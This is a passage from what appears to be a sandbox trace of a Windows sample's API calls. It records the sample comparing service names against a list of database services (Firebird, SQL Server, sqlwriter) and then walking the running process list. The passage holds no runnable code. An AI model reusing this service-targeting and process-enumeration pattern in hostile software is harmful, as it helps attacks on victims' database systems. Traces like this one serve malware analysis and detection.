(lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0183.656] lstrlenW (lpString="PlugPlay") returned 8 [0183.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0183.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0183.656] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0183.656] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0183.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0183.657] lstrlenW (lpString="Power") returned 5 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0183.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0183.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0183.657] lstrlenW (lpString="ProfSvc") returned 7 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0183.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0183.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0183.657] lstrlenW (lpString="RpcEptMapper") returned 12 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0183.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0183.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0183.657] lstrlenW (lpString="RpcSs") returned 5 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0183.657] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0183.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0183.657] lstrlenW (lpString="SamSs") returned 5 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0183.657] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0183.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0183.657] lstrlenW (lpString="Schedule") returned 8 [0183.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0183.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0183.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0183.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0183.658] lstrlenW (lpString="SecurityHealthService") returned 21 [0183.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0183.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0183.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0183.658] lstrlenW (lpString="SENS") returned 4 [0183.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0183.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0183.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0183.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0183.658] lstrlenW (lpString="ShellHWDetection") returned 16 [0183.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0183.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0183.658] lstrlenW (lpString="Spooler") returned 7 [0183.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0183.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0183.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0183.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0183.658] lstrlenW (lpString="SSDPSRV") returned 7 [0183.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0183.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0183.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0183.658] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0183.658] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3bb1528 | out: hHeap=0x790000) returned 1 [0183.659] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0183.662] Process32FirstW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.697] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.698] lstrlenW (lpString="System") returned 6 [0183.698] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.699] lstrlenW (lpString="smss.exe") returned 8 [0183.699] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.700] lstrlenW (lpString="csrss.exe") returned 9 [0183.700] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.700] lstrlenW (lpString="wininit.exe") returned 11 [0183.700] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.701] lstrlenW (lpString="csrss.exe") returned 9 [0183.701] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.702] lstrlenW (lpString="winlogon.exe") returned 12 [0183.702] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.702] lstrlenW (lpString="services.exe") returned 12 [0183.703] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.703] lstrlenW (lpString="lsass.exe") returned 9 [0183.703] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.704] lstrlenW (lpString="svchost.exe") returned 11 [0183.704] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.705] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.705] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0183.705] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0183.706] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.706] lstrlenW (lpString="svchost.exe") returned 11 [0183.706] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0183.707] lstrlenW (lpString="dwm.exe") returned 7 [0183.707] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.708] lstrlenW (lpString="svchost.exe") returned 11 [0183.708] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.708] lstrlenW (lpString="svchost.exe") returned 11 [0183.708] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.709] lstrlenW (lpString="svchost.exe") returned 11 [0183.710] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.710] lstrlenW (lpString="svchost.exe") returned 11 [0183.710] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.711] lstrlenW (lpString="svchost.exe") returned 11 [0183.711] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.712] lstrlenW (lpString="svchost.exe") returned 11 [0183.712] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.712] lstrlenW (lpString="svchost.exe") returned 11 [0183.713] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.713] lstrlenW (lpString="svchost.exe") returned 11 [0183.713] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.714] lstrlenW (lpString="svchost.exe") returned 11 [0183.714] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0183.715] lstrlenW (lpString="spoolsv.exe") returned 11 [0183.715] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.715] lstrlenW (lpString="svchost.exe") returned 11 [0183.715] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.716] lstrlenW (lpString="svchost.exe") returned 11 [0183.716] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0183.717] lstrlenW (lpString="audiodg.exe") returned 11 [0183.717] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0183.717] lstrlenW (lpString="sihost.exe") returned 10 [0183.717] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.718] lstrlenW (lpString="svchost.exe") returned 11 [0183.718] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.719] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.719] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0183.719] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0183.719] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0183.720] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0183.720] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0183.721] lstrlenW (lpString="explorer.exe") returned 12 [0183.721] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0183.722] lstrlenW (lpString="Memory Compression") returned 18 [0183.722] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0183.722] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0183.722] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0183.723] lstrlenW (lpString="SearchUI.exe") returned 12 [0183.723] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0183.724] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0183.724] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0183.724] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0183.724] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0183.725] lstrlenW (lpString="taskhostw.exe") returned 13 [0183.726] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0183.726] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0183.726] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0183.727] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0183.727] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0183.728] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0183.728] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0183.728] lstrlenW (lpString="conhost.exe") returned 11 [0183.728] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0183.773] lstrlenW (lpString="screensaver.exe") returned 15 [0183.773] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0183.774] lstrlenW (lpString="upperarc.exe") returned 12 [0183.774] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0183.775] lstrlenW (lpString="buying.exe") returned 10 [0183.775] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0183.775] lstrlenW (lpString="downloadable.exe") returned 16 [0183.775] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0183.776] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0183.776] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0183.777] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0183.777] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0183.777] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0183.777] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0183.778] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0183.778] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0183.779] lstrlenW (lpString="moments.exe") returned 11 [0183.779] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0183.780] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0183.780] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0183.780] lstrlenW (lpString="stream-test.exe") returned 15 [0183.780] Process32NextW (in: hSnapshot=0x394, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0183.781] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0183.781] Process32NextW (in: hSnapshot=0x394, 